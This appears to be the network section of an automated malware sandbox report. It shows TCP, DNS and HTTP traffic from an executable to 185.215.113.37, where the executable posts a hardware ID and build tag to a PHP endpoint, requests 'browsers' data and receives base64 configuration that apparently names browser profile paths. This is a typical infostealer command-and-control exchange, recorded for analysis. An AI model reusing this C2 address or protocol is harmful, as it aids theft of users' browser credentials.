Oct 21, 2024 09:06:22.207475901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.207488060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207503080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207513094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.207525969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207541943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207550049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.207565069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207575083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.207587004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207603931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207612991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.207628012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207652092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.207674980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.207704067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207716942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207731009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207745075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.207755089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207770109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207782984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.207794905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207820892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.207840919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.207864046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207879066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207892895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207907915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207923889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.207932949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207947969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207962036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.207974911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.207974911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.207990885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.208005905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.208015919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.208029032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.208045959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.208060980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.208076954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.208122015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.208265066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.208280087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.208293915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.208307981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.208321095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.208332062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.208345890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.208358049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.208370924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.208383083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.211056948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.241174936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.246140003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.521697998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.521759033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.521774054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.521806955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.521841049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.521882057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.521939039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.521975040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522022963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522075891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522097111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522130013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522166967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522183895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522217989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522238016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522270918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522311926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522325993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522356987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522376060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522408009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522425890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522459030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522478104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522509098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522531033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522564888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522586107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522620916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522639990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522674084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522695065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522722960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522746086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522779942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522798061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522828102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522850990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522907019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.522934914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522964001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.522989035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523014069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523077011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523113012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523134947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523174047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523200989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523233891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523256063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523283005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523305893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523358107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523375988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523437977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523462057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523499966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523519993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523530960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523546934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523557901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523567915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523581028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523597956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523605108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523618937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523628950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523652077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523662090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523670912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523684025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523698092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523708105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523721933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523731947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523747921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523756027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523773909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523780107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523792982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523802042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523821115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523827076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523843050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523850918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523861885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523871899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523884058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523895025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523909092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523919106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523931980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523941040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523957014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523966074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.523979902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.523992062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524004936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524015903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524028063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524038076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524051905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524060965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524071932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524081945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524094105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524108887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524118900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524137020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524147034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524163008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524175882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524187088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524203062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524214029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524225950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524240971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524255991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524262905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524277925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524287939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524302006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524311066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524326086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524339914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524354935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524363995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524379015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524390936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524404049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524419069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524430037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524447918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524454117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524465084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:22.524486065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:22.524509907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:23.211524010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:23.211607933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:23.216707945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:23.216727972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:23.997240067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:23.997435093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:24.036577940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:24.041493893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:24.319793940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:24.319822073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:24.319842100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:24.319859982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:24.319983006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:24.319983006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:24.319983006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:24.322961092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:24.327878952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:24.605983019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:24.606164932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:24.624794960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:24.629985094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:25.407510042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:25.407705069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:25.432228088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:25.437253952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:25.731015921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:25.731045961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:25.731061935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:25.731079102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:25.731093884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:25.731116056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:25.731141090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:25.731163025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:25.732784986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:25.737642050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:26.516623974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:26.516731024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:31.672944069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:31.676685095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:32.713407993 CEST	49730	80	192.168.2.4	185.215.113.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 21, 2024 09:06:33.344733953 CEST	53	51037	162.159.36.2	192.168.2.4
Oct 21, 2024 09:06:33.963474989 CEST	58706	53	192.168.2.4	1.1.1.1
Oct 21, 2024 09:06:33.970846891 CEST	53	58706	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 21, 2024 09:06:33.963474989 CEST	192.168.2.4	1.1.1.1	0xbd6d	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 21, 2024 09:06:33.970846891 CEST	1.1.1.1	192.168.2.4	0xbd6d	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	7636	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 09:06:04.451845884 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 09:06:05.483613968 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 09:06:05.487262011 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFB Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 44 46 36 34 31 46 39 35 30 34 33 34 37 39 32 32 31 31 33 32 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="hwid"BFDF641F95043479221132------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="build"doma------ECGHCBGCBFHIIDHIJKFB--
Oct 21, 2024 09:06:05.788079977 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:05 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6d 5a 68 4e 6a 4d 31 59 54 49 34 59 32 51 79 4e 6d 45 33 5a 44 5a 6d 59 6a 56 68 59 7a 49 32 59 6a 56 6a 5a 44 6b 7a 59 6a 59 33 59 6d 4a 6b 4d 7a 6c 6c 4f 47 56 6b 5a 54 63 35 5a 57 59 33 4e 54 49 79 59 57 51 79 59 6a 4a 6c 5a 57 5a 6c 5a 54 41 30 4e 6a 59 77 4e 47 49 35 4f 54 67 7a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MmZhNjM1YTI4Y2QyNmE3ZDZmYjVhYzI2YjVjZDkzYjY3YmJkMzllOGVkZTc5ZWY3NTIyYWQyYjJlZWZlZTA0NjYwNGI5OTgzfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 21, 2024 09:06:05.789422035 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBG Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 61 36 33 35 61 32 38 63 64 32 36 61 37 64 36 66 62 35 61 63 32 36 62 35 63 64 39 33 62 36 37 62 62 64 33 39 65 38 65 64 65 37 39 65 66 37 35 32 32 61 64 32 62 32 65 65 66 65 65 30 34 36 36 30 34 62 39 39 38 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="token"2fa635a28cd26a7d6fb5ac26b5cd93b67bbd39e8ede79ef7522ad2b2eefee046604b9983------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="message"browsers------EBAFBGIDHCBFHIECFCBG--
Oct 21, 2024 09:06:06.073108912 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 07:06:05 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: 